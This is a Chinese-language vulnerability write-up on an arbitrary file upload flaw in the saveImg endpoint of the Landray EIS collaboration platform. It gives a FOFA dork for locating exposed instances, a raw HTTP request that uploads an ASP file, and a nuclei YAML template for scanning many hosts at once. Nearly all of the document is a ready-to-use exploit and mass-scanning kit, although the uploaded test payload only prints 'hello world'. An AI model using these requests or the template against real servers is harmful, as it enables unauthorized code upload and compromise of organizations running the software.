蓝凌 EIS智慧协同平台saveImg任意文件上传
漏洞简介
蓝凌 EIS智慧协同平台saveImg存在任意文件上传漏洞
漏洞复现
fofa语法:body="欢迎登录智慧协同平台"
登录页面如下:
POC:
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 219
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary19nUhUToSSlwhLQ2
Upgrade-Insecure-Requests: 1
------WebKitFormBoundary19nUhUToSSlwhLQ2
Content-Disposition: form-data; name="file"filename="3h9u07rha2.asp"
Content-Type: text/html
<% response.write("hello world")%>
------WebKitFormBoundary19nUhUToSSlwhLQ2--
响应包返回了上传文件后的访问路径。
nuclei批量yaml文件
id: landray-eis-saveImg-upload
info:
name: landray-eis-saveImg-upload
author: mhb17
severity: critical
variables:
filename: "{{to_lower(rand_base(10))}}"
boundary: "{{rand_base(16)}}"
http:
- raw:
- |
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{boundary}}
Content-Length: 208
------WebKitFormBoundary{{boundary}}
Content-Disposition: form-data; name="file"filename="{{filename}}.asp"
Content-Type: text/html
<% response.write("hello world")%>
------WebKitFormBoundary{{boundary}}--
- |
GET /files/editor_img/{{aspfilenammme}} HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
extractors:
- type: regex
part: body
name: aspfilenammme
group: 1
internal: true
regex:
- '/files/editor_img/([0-9-a-z]+/\w+\.asp)'
matchers:
- type: dsl
dsl:
- 'status_code==200 && contains(body_1,"editor_img") && contains(body_2,"hello world")'